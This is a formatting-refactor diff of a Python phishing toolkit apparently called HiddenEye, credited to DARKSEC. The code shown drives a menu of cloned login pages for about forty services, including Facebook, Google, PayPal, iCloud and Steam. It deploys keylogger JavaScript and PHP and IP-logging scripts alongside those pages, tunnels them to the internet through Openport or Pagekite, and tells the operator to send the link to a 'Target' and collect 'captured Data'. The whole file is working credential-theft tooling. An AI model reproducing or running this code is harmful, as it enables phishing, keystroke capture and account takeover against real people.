{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ OPENPORT SERVER ]{1}!! {0}\n-------------------------------'''.format( {0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ OPENPORT SERVER ]{1}!! {0}\n-------------------------------"""
default_palette[0], default_palette[4])) .format(default_palette[0], default_palette[4]))
print( print(
"\n{0}[{1}!{0}]{1} SEND THIS OPENPORT URL TO Target-\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} OPENPORT URL: {2}{4}\n".format( "\n{0}[{1}!{0}]{1} SEND THIS OPENPORT URL TO Target-\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} OPENPORT URL: {2}{4}\n"
default_palette[0], default_palette[4], default_palette[3], port, url)) .format(default_palette[0], default_palette[4], default_palette[3],
port, url))
print('''{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} print("""{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1} | | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{0}http://github.com/darksecdevelopers {0}http://github.com/darksecdevelopers
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ OPENPORT SERVER ]{1}!! {0}\n-------------------------------'''.format( {0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ OPENPORT SERVER ]{1}!! {0}\n-------------------------------"""
default_palette[0], default_palette[2])) .format(default_palette[0], default_palette[2]))
if 256 == run_command('which openport > /dev/null'): if 256 == run_command("which openport > /dev/null"):
run_command('clear') run_command("clear")
print('[*] Openport not Installed correctly, Try installing it manually !!') print(
print('[*] Check Here ... https://openport.io/download') "[*] Openport not Installed correctly, Try installing it manually !!"
input('\n Press Enter To Go back..') )
print("[*] Check Here ... https://openport.io/download")
input("\n Press Enter To Go back..")
server_selection(port) server_selection(port)
else: else:
manage_url(port) manage_url(port)
@ -435,22 +535,24 @@ def start_openport(port):
def start_pagekite(port): def start_pagekite(port):
from Defs.ActionManager.simple_informant import credentials_collector from Defs.ActionManager.simple_informant import credentials_collector
run_command('clear')
print(''' run_command("clear")
print("""
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1} | | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{0}http://github.com/darksecdevelopers {0}http://github.com/darksecdevelopers
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ PAGEKITE SERVER ]{1}!! {0}\n-------------------------------'''.format( {0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ PAGEKITE SERVER ]{1}!! {0}\n-------------------------------"""
default_palette[0], default_palette[2])) .format(default_palette[0], default_palette[2]))
if 256 == run_command('which python2 > /dev/null'): if 256 == run_command("which python2 > /dev/null"):
print('[*] Python2 not Installed, Pagekite Only Supports Python2!!') print("[*] Python2 not Installed, Pagekite Only Supports Python2!!")
input('\n Press Enter To Try installing Python2 Now..') input("\n Press Enter To Try installing Python2 Now..")
run_command('apt install python2') run_command("apt install python2")
if 256 == run_command('which python2 > /dev/null'): if 256 == run_command("which python2 > /dev/null"):
run_command('clear') run_command("clear")
print("\n{0}[{1}*{0}] {1}FAILED TO INSTALL PYTHON2 (TRY MANUALLY)..{1}".format(default_palette[0], print(
default_palette[4])) "\n{0}[{1}*{0}] {1}FAILED TO INSTALL PYTHON2 (TRY MANUALLY)..{1}"
.format(default_palette[0], default_palette[4]))
wait(2) wait(2)
server_selection(port) server_selection(port)
else: else:
@ -458,21 +560,28 @@ def start_pagekite(port):
else: else:
try: try:
subdomain = input( subdomain = input(
"\n{0}[{1}*{0}] {0}Enter A Custom Subdomain Ex.(yourname):\n{0}Custom Subdomain>>> {1}".format( "\n{0}[{1}*{0}] {0}Enter A Custom Subdomain Ex.(yourname):\n{0}Custom Subdomain>>> {1}"
default_palette[0], default_palette[2])) .format(default_palette[0], default_palette[2]))
print("\n{0}[{1}*{0}] {1}Use Temporary Email Services(Don't Harm Anyone).{1}".format(default_palette[0], print(
default_palette[4])) "\n{0}[{1}*{0}] {1}Use Temporary Email Services(Don't Harm Anyone).{1}"
print("{0}[{1}*{0}] {1}Sometime Email verification Required by Pagekite(Stay Alert){1}".format( .format(default_palette[0], default_palette[4]))
default_palette[0], default_palette[4])) print(
print("{0}[{1}*{0}] {1}You can also get various subdomain assigned to your subdomain.{1}".format( "{0}[{1}*{0}] {1}Sometime Email verification Required by Pagekite(Stay Alert){1}"
default_palette[0], default_palette[4])) .format(default_palette[0], default_palette[4]))
print("{0}[{1}*{0}] {1}Check Control Panel Of pagekite at https://pagekite.net/ .{1}".format( print(
default_palette[0], default_palette[4])) "{0}[{1}*{0}] {1}You can also get various subdomain assigned to your subdomain.{1}"
print("{0}[{1}*{0}] {1}We are Ready to Launch Pagekite.Press CTRL+C Whenever Need captured Data.{1}".format( .format(default_palette[0], default_palette[4]))
default_palette[0], default_palette[4])) print(
input("\n{0}[{1}*{0}] {0}Press Enter To Launch The Pagekite...{1}".format(default_palette[0], "{0}[{1}*{0}] {1}Check Control Panel Of pagekite at https://pagekite.net/ .{1}"
default_palette[4])) .format(default_palette[0], default_palette[4]))
run_command('python2 Server/pagekite.py --clean --signup {0} {1}.pagekite.me'.format(port, subdomain)) print(
"{0}[{1}*{0}] {1}We are Ready to Launch Pagekite.Press CTRL+C Whenever Need captured Data.{1}"
.format(default_palette[0], default_palette[4]))
input("\n{0}[{1}*{0}] {0}Press Enter To Launch The Pagekite...{1}".
format(default_palette[0], default_palette[4]))
run_command(
"python2 Server/pagekite.py --clean --signup {0} {1}.pagekite.me"
.format(port, subdomain))
except KeyboardInterrupt: except KeyboardInterrupt:
print('[!] Please Copy the Generated Link For Further Use') print("[!] Please Copy the Generated Link For Further Use")
credentials_collector(port) credentials_collector(port)

View File

@ -4,20 +4,29 @@
# This is free software, and you are welcome to redistribute it # This is free software, and you are welcome to redistribute it
# under certain conditions; you can read LICENSE for details. # under certain conditions; you can read LICENSE for details.
# #
from Defs.ImportManager.unsorted_will_be_replaced import run_command, webpage_set, wait, path, rmtree, pathlib_Path, copyfile, chmod, mkdir, remove
import Defs.ActionManager.simple_informant as simple_informant
import Defs.LocalizationManager.lang_action_manager.lang_main_runner as localization
import Defs.LocalizationManager.lang_global_usage as global_localization
from Defs.LocalizationManager.helper import print_sorted_as_menu
import os import os
import time import time
import Defs.ActionManager.simple_informant as simple_informant
import Defs.LocalizationManager.lang_action_manager.lang_main_runner as localization
import Defs.LocalizationManager.lang_global_usage as global_localization
from Defs.ImportManager.unsorted_will_be_replaced import chmod
from Defs.ImportManager.unsorted_will_be_replaced import copyfile
from Defs.ImportManager.unsorted_will_be_replaced import mkdir
from Defs.ImportManager.unsorted_will_be_replaced import path
from Defs.ImportManager.unsorted_will_be_replaced import pathlib_Path
from Defs.ImportManager.unsorted_will_be_replaced import remove
from Defs.ImportManager.unsorted_will_be_replaced import rmtree
from Defs.ImportManager.unsorted_will_be_replaced import run_command
from Defs.ImportManager.unsorted_will_be_replaced import wait
from Defs.ImportManager.unsorted_will_be_replaced import webpage_set
from Defs.LocalizationManager.helper import print_sorted_as_menu
module_loading_message = simple_informant.module_loading_message module_loading_message = simple_informant.module_loading_message
def start_main_menu(): def start_main_menu():
run_command('clear') run_command("clear")
print(global_localization.hidden_eye_logo) print(global_localization.hidden_eye_logo)
print(localization.lang_start_main_menu["version_by_darksec"]) print(localization.lang_start_main_menu["version_by_darksec"])
print(localization.lang_start_main_menu["short_description"]) print(localization.lang_start_main_menu["short_description"])
@ -25,387 +34,410 @@ def start_main_menu():
print(localization.lang_start_main_menu["down_line"]) print(localization.lang_start_main_menu["down_line"])
print(localization.lang_start_main_menu["attack_vector_message"]) print(localization.lang_start_main_menu["attack_vector_message"])
print(localization.lang_start_main_menu["phishing_modules_header"]) print(localization.lang_start_main_menu["phishing_modules_header"])
print_sorted_as_menu(localization.lang_start_main_menu["phishing_modules_list"]) print_sorted_as_menu(
localization.lang_start_main_menu["phishing_modules_list"])
print(localization.lang_start_main_menu["additional_modules"]) print(localization.lang_start_main_menu["additional_modules"])
print_sorted_as_menu(localization.lang_start_main_menu["additional_modules_list"]) print_sorted_as_menu(
localization.lang_start_main_menu["additional_modules_list"])
option = input(global_localization.input_line) option = input(global_localization.input_line)
option = option.zfill(2) option = option.zfill(2)
if option == '01': if option == "01":
module_loading_message('Facebook') module_loading_message("Facebook")
print(localization.lang_start_main_menu["operation_mode"]) print(localization.lang_start_main_menu["operation_mode"])
print_sorted_as_menu(localization.lang_start_main_menu["facebook_operation_modes"]) print_sorted_as_menu(
localization.lang_start_main_menu["facebook_operation_modes"])
customOption = input(global_localization.input_line) customOption = input(global_localization.input_line)
start_phishing_page('Facebook', customOption) start_phishing_page("Facebook", customOption)
elif option == '02': elif option == "02":
module_loading_message('Google') module_loading_message("Google")
print(localization.lang_start_main_menu["operation_mode"]) print(localization.lang_start_main_menu["operation_mode"])
print_sorted_as_menu(localization.lang_start_main_menu["google_operation_modes"]) print_sorted_as_menu(
localization.lang_start_main_menu["google_operation_modes"])
customOption = input(global_localization.input_line) customOption = input(global_localization.input_line)
start_phishing_page('Google', customOption) start_phishing_page("Google", customOption)
elif option == '03': elif option == "03":
module_loading_message('LinkedIn') module_loading_message("LinkedIn")
customOption = '' customOption = ""
start_phishing_page('LinkedIn', customOption) start_phishing_page("LinkedIn", customOption)
elif option == '04': elif option == "04":
module_loading_message('GitHub') module_loading_message("GitHub")
customOption = '' customOption = ""
start_phishing_page('GitHub', customOption) start_phishing_page("GitHub", customOption)
elif option == '05': elif option == "05":
module_loading_message('StackOverflow') module_loading_message("StackOverflow")
customOption = '' customOption = ""
start_phishing_page('StackOverflow', customOption) start_phishing_page("StackOverflow", customOption)
elif option == '06': elif option == "06":
module_loading_message('WordPress') module_loading_message("WordPress")
customOption = '' customOption = ""
start_phishing_page('WordPress', customOption) start_phishing_page("WordPress", customOption)
elif option == '07': elif option == "07":
module_loading_message('Twitter') module_loading_message("Twitter")
customOption = '' customOption = ""
start_phishing_page('Twitter', customOption) start_phishing_page("Twitter", customOption)
elif option == '08': elif option == "08":
module_loading_message('Instagram') module_loading_message("Instagram")
print(localization.lang_start_main_menu["operation_mode"]) print(localization.lang_start_main_menu["operation_mode"])
print_sorted_as_menu(localization.lang_start_main_menu["instagram_operation_modes"]) print_sorted_as_menu(
localization.lang_start_main_menu["instagram_operation_modes"])
customOption = input(global_localization.input_line) customOption = input(global_localization.input_line)
start_phishing_page('Instagram', customOption) start_phishing_page("Instagram", customOption)
elif option == '09': elif option == "09":
module_loading_message('Snapchat') module_loading_message("Snapchat")
customOption = '' customOption = ""
start_phishing_page('Snapchat', customOption) start_phishing_page("Snapchat", customOption)
elif option == '10': elif option == "10":
module_loading_message('Yahoo') module_loading_message("Yahoo")
customOption = '' customOption = ""
start_phishing_page('Yahoo', customOption) start_phishing_page("Yahoo", customOption)
elif option == '11': elif option == "11":
module_loading_message('Twitch') module_loading_message("Twitch")
customOption = '' customOption = ""
start_phishing_page('Twitch', customOption) start_phishing_page("Twitch", customOption)
elif option == '12': elif option == "12":
module_loading_message('Microsoft') module_loading_message("Microsoft")
customOption = '' customOption = ""
start_phishing_page('Microsoft', customOption) start_phishing_page("Microsoft", customOption)
elif option == '13': elif option == "13":
module_loading_message('Steam') module_loading_message("Steam")
customOption = '' customOption = ""
start_phishing_page('Steam', customOption) start_phishing_page("Steam", customOption)
elif option == '14': elif option == "14":
module_loading_message('VK') module_loading_message("VK")
print(localization.lang_start_main_menu["operation_mode"]) print(localization.lang_start_main_menu["operation_mode"])
print_sorted_as_menu(localization.lang_start_main_menu["VK_operation_modes"]) print_sorted_as_menu(
localization.lang_start_main_menu["VK_operation_modes"])
customOption = input(global_localization.input_line) customOption = input(global_localization.input_line)
start_phishing_page('VK', customOption) start_phishing_page("VK", customOption)
elif option == '15': elif option == "15":
module_loading_message('iCloud') module_loading_message("iCloud")
customOption = '' customOption = ""
start_phishing_page('iCloud', customOption) start_phishing_page("iCloud", customOption)
elif option == '16': elif option == "16":
module_loading_message('GitLab') module_loading_message("GitLab")
customOption = '' customOption = ""
start_phishing_page('GitLab', customOption) start_phishing_page("GitLab", customOption)
elif option == '17': elif option == "17":
module_loading_message('NetFlix') module_loading_message("NetFlix")
customOption = '' customOption = ""
start_phishing_page('NetFlix', customOption) start_phishing_page("NetFlix", customOption)
elif option == '18': elif option == "18":
module_loading_message('Origin') module_loading_message("Origin")
customOption = '' customOption = ""
start_phishing_page('Origin', customOption) start_phishing_page("Origin", customOption)
elif option == '19': elif option == "19":
module_loading_message('Pinterest') module_loading_message("Pinterest")
customOption = '' customOption = ""
start_phishing_page('Pinterest', customOption) start_phishing_page("Pinterest", customOption)
elif option == '20': elif option == "20":
module_loading_message('ProtonMail') module_loading_message("ProtonMail")
customOption = '' customOption = ""
start_phishing_page('ProtonMail', customOption) start_phishing_page("ProtonMail", customOption)
elif option == '21': elif option == "21":
module_loading_message('Spotify') module_loading_message("Spotify")
customOption = '' customOption = ""
start_phishing_page('Spotify', customOption) start_phishing_page("Spotify", customOption)
elif option == '22': elif option == "22":
module_loading_message('Quora') module_loading_message("Quora")
customOption = '' customOption = ""
start_phishing_page('Quora', customOption) start_phishing_page("Quora", customOption)
elif option == '23': elif option == "23":
module_loading_message('PornHub') module_loading_message("PornHub")
customOption = '' customOption = ""
start_phishing_page('PornHub', customOption) start_phishing_page("PornHub", customOption)
elif option == '24': elif option == "24":
module_loading_message('Adobe') module_loading_message("Adobe")
customOption = '' customOption = ""
start_phishing_page('Adobe', customOption) start_phishing_page("Adobe", customOption)
elif option == '25': elif option == "25":
module_loading_message('Badoo') module_loading_message("Badoo")
customOption = '' customOption = ""
start_phishing_page('Badoo', customOption) start_phishing_page("Badoo", customOption)
elif option == '26': elif option == "26":
module_loading_message('CryptoCurrency') module_loading_message("CryptoCurrency")
customOption = '' customOption = ""
start_phishing_page('CryptoCurrency', customOption) start_phishing_page("CryptoCurrency", customOption)
elif option == '27': elif option == "27":
module_loading_message('DevianArt') module_loading_message("DevianArt")
customOption = '' customOption = ""
start_phishing_page('DevianArt', customOption) start_phishing_page("DevianArt", customOption)
elif option == '28': elif option == "28":
module_loading_message('DropBox') module_loading_message("DropBox")
customOption = '' customOption = ""
start_phishing_page('DropBox', customOption) start_phishing_page("DropBox", customOption)
elif option == '29': elif option == "29":
module_loading_message('eBay') module_loading_message("eBay")
customOption = '' customOption = ""
start_phishing_page('eBay', customOption) start_phishing_page("eBay", customOption)
elif option == '30': elif option == "30":
module_loading_message('MySpace') module_loading_message("MySpace")
customOption = '' customOption = ""
start_phishing_page('Myspace', customOption) start_phishing_page("Myspace", customOption)
elif option == '31': elif option == "31":
module_loading_message('PayPal') module_loading_message("PayPal")
customOption = '' customOption = ""
start_phishing_page('PayPal', customOption) start_phishing_page("PayPal", customOption)
elif option == '32': elif option == "32":
module_loading_message('Shopify') module_loading_message("Shopify")
customOption = '' customOption = ""
start_phishing_page('Shopify', customOption) start_phishing_page("Shopify", customOption)
elif option == '33': elif option == "33":
module_loading_message('Verizon') module_loading_message("Verizon")
customOption = '' customOption = ""
start_phishing_page('Verizon', customOption) start_phishing_page("Verizon", customOption)
elif option == '34': elif option == "34":
module_loading_message('Yandex') module_loading_message("Yandex")
customOption = '' customOption = ""
start_phishing_page('Yandex', customOption) start_phishing_page("Yandex", customOption)
elif option == '35': elif option == "35":
module_loading_message('Reddit') module_loading_message("Reddit")
print(localization.lang_start_main_menu["operation_mode"]) print(localization.lang_start_main_menu["operation_mode"])
print_sorted_as_menu(localization.lang_start_main_menu["reddit_operation_modes"]) print_sorted_as_menu(
localization.lang_start_main_menu["reddit_operation_modes"])
customOption = input(global_localization.input_line) customOption = input(global_localization.input_line)
start_phishing_page('Reddit', customOption) start_phishing_page("Reddit", customOption)
elif option == '36': elif option == "36":
module_loading_message('Subitoit') module_loading_message("Subitoit")
customOption = '' customOption = ""
start_phishing_page('Subitoit', customOption) start_phishing_page("Subitoit", customOption)
elif option == '37': elif option == "37":
module_loading_message('PlayStation') module_loading_message("PlayStation")
customOption = '' customOption = ""
start_phishing_page('PlayStation', customOption) start_phishing_page("PlayStation", customOption)
elif option == '38': elif option == "38":
module_loading_message('Xbox') module_loading_message("Xbox")
customOption = '' customOption = ""
start_phishing_page('Xbox', customOption) start_phishing_page("Xbox", customOption)
elif option == '39': elif option == "39":
module_loading_message('CUSTOM(1)') module_loading_message("CUSTOM(1)")
customOption = '' customOption = ""
start_phishing_page('CUSTOM(1)', customOption) start_phishing_page("CUSTOM(1)", customOption)
elif option == '40': elif option == "40":
module_loading_message('CUSTOM(2)') module_loading_message("CUSTOM(2)")
customOption = '' customOption = ""
start_phishing_page('CUSTOM(2)', customOption) start_phishing_page("CUSTOM(2)", customOption)
"""PHISHING MODULES BELOW"""
elif option == "0A":
'''PHISHING MODULES BELOW''' module_loading_message("LOCATION")
elif option == '0A':
module_loading_message('LOCATION')
print(localization.lang_start_main_menu["operation_mode"]) print(localization.lang_start_main_menu["operation_mode"])
print_sorted_as_menu(localization.lang_start_main_menu["additional_module_location_operation_modes"]) print_sorted_as_menu(
localization.
lang_start_main_menu["additional_module_location_operation_modes"])
customOption = input(global_localization.input_line) customOption = input(global_localization.input_line)
start_phishing_page('LOCATION', customOption) start_phishing_page("LOCATION", customOption)
else: else:
start_main_menu() start_main_menu()
def start_phishing_page(page, custom_option): # Phishing pages selection menu def start_phishing_page(page, custom_option): # Phishing pages selection menu
run_command(['chmod', '-R', '777', 'Server']) run_command(["chmod", "-R", "777", "Server"])
rmtree("Server/www", onerror=simple_informant.remove_readonly) rmtree("Server/www", onerror=simple_informant.remove_readonly)
mkdir('Server/www') mkdir("Server/www")
pathlib_Path('Server/www/usernames.txt').touch() pathlib_Path("Server/www/usernames.txt").touch()
pathlib_Path('Server/www/ip.txt').touch() pathlib_Path("Server/www/ip.txt").touch()
copyfile('WebPages/ip.php', 'Server/www/ip.php') copyfile("WebPages/ip.php", "Server/www/ip.php")
copyfile('WebPages/KeyloggerData.txt','Server/www/KeyloggerData.txt') copyfile("WebPages/KeyloggerData.txt", "Server/www/KeyloggerData.txt")
copyfile('WebPages/keylogger.js', 'Server/www/keylogger.js') copyfile("WebPages/keylogger.js", "Server/www/keylogger.js")
copyfile('WebPages/keylogger.php', 'Server/www/keylogger.php') copyfile("WebPages/keylogger.php", "Server/www/keylogger.php")
try: try:
remove('link.url') remove("link.url")
except: except:
pass pass
if custom_option == "1" and page == "Facebook":
if custom_option == '1' and page == 'Facebook':
webpage_set("WebPages/fb_standard/", "Server/www/") webpage_set("WebPages/fb_standard/", "Server/www/")
elif custom_option == '2' and page == 'Facebook': elif custom_option == "2" and page == "Facebook":
webpage_set("WebPages/fb_advanced_poll/", "Server/www/") webpage_set("WebPages/fb_advanced_poll/", "Server/www/")
elif custom_option == '3' and page == 'Facebook': elif custom_option == "3" and page == "Facebook":
webpage_set("WebPages/fb_security_fake/", "Server/www/") webpage_set("WebPages/fb_security_fake/", "Server/www/")
elif custom_option == '4' and page == 'Facebook': elif custom_option == "4" and page == "Facebook":
webpage_set("WebPages/fb_messenger/", "Server/www/") webpage_set("WebPages/fb_messenger/", "Server/www/")
elif custom_option == '1' and page == 'Google': elif custom_option == "1" and page == "Google":
webpage_set("WebPages/google_standard/", "Server/www/") webpage_set("WebPages/google_standard/", "Server/www/")
elif custom_option == '2' and page == 'Google': elif custom_option == "2" and page == "Google":
webpage_set("WebPages/google_advanced_poll/", "Server/www/") webpage_set("WebPages/google_advanced_poll/", "Server/www/")
elif custom_option == '3' and page == 'Google': elif custom_option == "3" and page == "Google":
webpage_set("WebPages/google_advanced_web/", "Server/www/") webpage_set("WebPages/google_advanced_web/", "Server/www/")
elif page == 'LinkedIn': elif page == "LinkedIn":
webpage_set("WebPages/linkedin/", "Server/www/") webpage_set("WebPages/linkedin/", "Server/www/")
elif page == 'GitHub': elif page == "GitHub":
webpage_set("WebPages/GitHub/", "Server/www/") webpage_set("WebPages/GitHub/", "Server/www/")
elif page == 'StackOverflow': elif page == "StackOverflow":
webpage_set("WebPages/stackoverflow/", "Server/www/") webpage_set("WebPages/stackoverflow/", "Server/www/")
elif page == 'WordPress': elif page == "WordPress":
webpage_set("WebPages/wordpress/", "Server/www/") webpage_set("WebPages/wordpress/", "Server/www/")
elif page == 'Twitter': elif page == "Twitter":
webpage_set("WebPages/twitter/", "Server/www/") webpage_set("WebPages/twitter/", "Server/www/")
elif page == 'Snapchat': elif page == "Snapchat":
webpage_set("WebPages/Snapchat_web/", "Server/www/") webpage_set("WebPages/Snapchat_web/", "Server/www/")
elif page == 'Yahoo': elif page == "Yahoo":
webpage_set("WebPages/yahoo_web/", "Server/www/") webpage_set("WebPages/yahoo_web/", "Server/www/")
elif page == 'Twitch': elif page == "Twitch":
webpage_set("WebPages/twitch/", "Server/www/") webpage_set("WebPages/twitch/", "Server/www/")
elif page == 'Microsoft': elif page == "Microsoft":
webpage_set("WebPages/live_web/", "Server/www/") webpage_set("WebPages/live_web/", "Server/www/")
elif page == 'Steam': elif page == "Steam":
webpage_set("WebPages/steam/", "Server/www/") webpage_set("WebPages/steam/", "Server/www/")
elif page == 'iCloud': elif page == "iCloud":
webpage_set("WebPages/iCloud/", "Server/www/") webpage_set("WebPages/iCloud/", "Server/www/")
elif custom_option == '1' and page == 'Instagram': elif custom_option == "1" and page == "Instagram":
webpage_set("WebPages/Instagram_web/", "Server/www/") webpage_set("WebPages/Instagram_web/", "Server/www/")
elif custom_option == '2' and page == 'Instagram': elif custom_option == "2" and page == "Instagram":
webpage_set("WebPages/Instagram_autoliker/", "Server/www/") webpage_set("WebPages/Instagram_autoliker/", "Server/www/")
elif custom_option == '3' and page == 'Instagram': elif custom_option == "3" and page == "Instagram":
webpage_set("WebPages/Instagram_advanced_attack/", "Server/www/") webpage_set("WebPages/Instagram_advanced_attack/", "Server/www/")
elif custom_option == '4' and page == 'Instagram': elif custom_option == "4" and page == "Instagram":
webpage_set("WebPages/Instagram_VerifiedBadge/", "Server/www/") webpage_set("WebPages/Instagram_VerifiedBadge/", "Server/www/")
elif custom_option == '5' and page == 'Instagram': elif custom_option == "5" and page == "Instagram":
webpage_set("WebPages/instafollowers/", "Server/www/") webpage_set("WebPages/instafollowers/", "Server/www/")
elif custom_option == '1' and page == 'VK': elif custom_option == "1" and page == "VK":
webpage_set("WebPages/VK/", "Server/www/") webpage_set("WebPages/VK/", "Server/www/")
elif custom_option == '2' and page == 'VK': elif custom_option == "2" and page == "VK":
webpage_set("WebPages/VK_poll_method/", "Server/www/") webpage_set("WebPages/VK_poll_method/", "Server/www/")
elif page == 'GitLab': elif page == "GitLab":
webpage_set("WebPages/gitlab/", "Server/www/") webpage_set("WebPages/gitlab/", "Server/www/")
elif page == 'NetFlix': elif page == "NetFlix":
webpage_set("WebPages/netflix/", "Server/www/") webpage_set("WebPages/netflix/", "Server/www/")
elif page == 'Origin': elif page == "Origin":
webpage_set("WebPages/origin/", "Server/www/") webpage_set("WebPages/origin/", "Server/www/")
elif page == 'Pinterest': elif page == "Pinterest":
webpage_set("WebPages/pinterest/", "Server/www/") webpage_set("WebPages/pinterest/", "Server/www/")
elif page == 'ProtonMail': elif page == "ProtonMail":
webpage_set("WebPages/protonmail/", "Server/www/") webpage_set("WebPages/protonmail/", "Server/www/")
elif page == 'Spotify': elif page == "Spotify":
webpage_set("WebPages/spotify/", "Server/www/") webpage_set("WebPages/spotify/", "Server/www/")
elif page == 'Quora': elif page == "Quora":
webpage_set("WebPages/quora/", "Server/www/") webpage_set("WebPages/quora/", "Server/www/")
elif page == 'PornHub': elif page == "PornHub":
webpage_set("WebPages/pornhub/", "Server/www/") webpage_set("WebPages/pornhub/", "Server/www/")
elif page == 'Adobe': elif page == "Adobe":
webpage_set("WebPages/adobe/", "Server/www/") webpage_set("WebPages/adobe/", "Server/www/")
elif page == 'Badoo': elif page == "Badoo":
webpage_set("WebPages/badoo/", "Server/www/") webpage_set("WebPages/badoo/", "Server/www/")
elif page == 'CryptoCurrency': elif page == "CryptoCurrency":
webpage_set("WebPages/cryptocurrency/", "Server/www/") webpage_set("WebPages/cryptocurrency/", "Server/www/")
elif page == 'DevianArt': elif page == "DevianArt":
webpage_set("WebPages/devianart/", "Server/www/") webpage_set("WebPages/devianart/", "Server/www/")
elif page == 'DropBox': elif page == "DropBox":
webpage_set("WebPages/dropbox/", "Server/www/") webpage_set("WebPages/dropbox/", "Server/www/")
elif page == 'eBay': elif page == "eBay":
webpage_set("WebPages/ebay/", "Server/www/") webpage_set("WebPages/ebay/", "Server/www/")
elif page == 'Myspace': elif page == "Myspace":
webpage_set("WebPages/myspace/", "Server/www/") webpage_set("WebPages/myspace/", "Server/www/")
elif page == 'PayPal': elif page == "PayPal":
webpage_set("WebPages/paypal/", "Server/www/") webpage_set("WebPages/paypal/", "Server/www/")
elif page == 'Shopify': elif page == "Shopify":
webpage_set("WebPages/shopify/", "Server/www/") webpage_set("WebPages/shopify/", "Server/www/")
elif page == 'Verizon': elif page == "Verizon":
webpage_set("WebPages/verizon/", "Server/www/") webpage_set("WebPages/verizon/", "Server/www/")
elif page == 'Yandex': elif page == "Yandex":
webpage_set("WebPages/yandex/", "Server/www/") webpage_set("WebPages/yandex/", "Server/www/")
elif custom_option == '1' and page == 'Reddit': elif custom_option == "1" and page == "Reddit":
webpage_set("WebPages/Reddit/", "Server/www/") webpage_set("WebPages/Reddit/", "Server/www/")
elif custom_option == '2' and page == 'Reddit': elif custom_option == "2" and page == "Reddit":
webpage_set("WebPages/Reddit-old/", "Server/www/") webpage_set("WebPages/Reddit-old/", "Server/www/")
elif page == 'Subitoit': elif page == "Subitoit":
webpage_set("WebPages/subitoit/", "Server/www/") webpage_set("WebPages/subitoit/", "Server/www/")
elif page == 'PlayStation': elif page == "PlayStation":
webpage_set('WebPages/playstation/', "Server/www/") webpage_set("WebPages/playstation/", "Server/www/")
elif page == 'Xbox': elif page == "Xbox":
webpage_set('WebPages/xbox/', "Server/www/") webpage_set("WebPages/xbox/", "Server/www/")
elif page == 'CUSTOM(1)': elif page == "CUSTOM(1)":
print(localization.lang_start_phishing_page["custom_folder_directory"].format(page = page)) print(localization.lang_start_phishing_page["custom_folder_directory"].
print(localization.lang_start_phishing_page["manual_reading_suggestion"].format(page = page)) format(page=page))
input(localization.lang_start_phishing_page["press_enter_to_continue_if_setup_correctly"]) print(
localization.lang_start_phishing_page["manual_reading_suggestion"].
format(page=page))
input(localization.lang_start_phishing_page[
"press_enter_to_continue_if_setup_correctly"])
print(localization.lang_start_phishing_page["copying_your_files"]) print(localization.lang_start_phishing_page["copying_your_files"])
wait(3) wait(3)
webpage_set('WebPages/CUSTOM(1)/', "Server/www/") webpage_set("WebPages/CUSTOM(1)/", "Server/www/")
elif page == 'CUSTOM(2)': elif page == "CUSTOM(2)":
print(localization.lang_start_phishing_page["custom_folder_directory"].format(page = page)) print(localization.lang_start_phishing_page["custom_folder_directory"].
print(localization.lang_start_phishing_page["manual_reading_suggestion"].format(page = page)) format(page=page))
input(localization.lang_start_phishing_page["press_enter_to_continue_if_setup_correctly"]) print(
localization.lang_start_phishing_page["manual_reading_suggestion"].
format(page=page))
input(localization.lang_start_phishing_page[
"press_enter_to_continue_if_setup_correctly"])
print(localization.lang_start_phishing_page["copying_your_files"]) print(localization.lang_start_phishing_page["copying_your_files"])
wait(3) wait(3)
webpage_set('WebPages/CUSTOM(2)/', "Server/www/") webpage_set("WebPages/CUSTOM(2)/", "Server/www/")
# Tools Below && Phishing Pages Above # Tools Below && Phishing Pages Above
elif custom_option == '1' and page == 'LOCATION': elif custom_option == "1" and page == "LOCATION":
wait(3) wait(3)
webpage_set('WebPages/TOOLS/nearyou', "Server/www/") webpage_set("WebPages/TOOLS/nearyou", "Server/www/")
print(localization.lang_start_phishing_page["https_suggestion"]) print(localization.lang_start_phishing_page["https_suggestion"])
input(localization.lang_start_phishing_page["press_enter_to_continue_if_setup_correctly"]) input(localization.lang_start_phishing_page[
elif custom_option == '2' and page == 'LOCATION': "press_enter_to_continue_if_setup_correctly"])
elif custom_option == "2" and page == "LOCATION":
wait(3) wait(3)
webpage_set('WebPages/TOOLS/gdrive', "Server/www/") webpage_set("WebPages/TOOLS/gdrive", "Server/www/")
print(localization.lang_start_phishing_page["https_suggestion"]) print(localization.lang_start_phishing_page["https_suggestion"])
print(localization.lang_start_phishing_page["gdrive_suggestion"]) print(localization.lang_start_phishing_page["gdrive_suggestion"])
input(localization.lang_start_phishing_page["press_enter_to_continue_if_setup_correctly"]) input(localization.lang_start_phishing_page[
"press_enter_to_continue_if_setup_correctly"])
else: else:
run_command('clear') run_command("clear")
print("Please choose a valid option") print("Please choose a valid option")
time.sleep(1) time.sleep(1)
start_main_menu() start_main_menu()
def enter_custom_redirecting_url(): # Question where user can input custom web-link
run_command('clear') def enter_custom_redirecting_url(
): # Question where user can input custom web-link
run_command("clear")
print(global_localization.hidden_eye_logo) print(global_localization.hidden_eye_logo)
print(global_localization.official_website_link) print(global_localization.official_website_link)
print(global_localization.by_darksec) print(global_localization.by_darksec)
print(localization.lang_enter_custom_redirecting_url["enter_redirecting_url_header"]) print(localization.
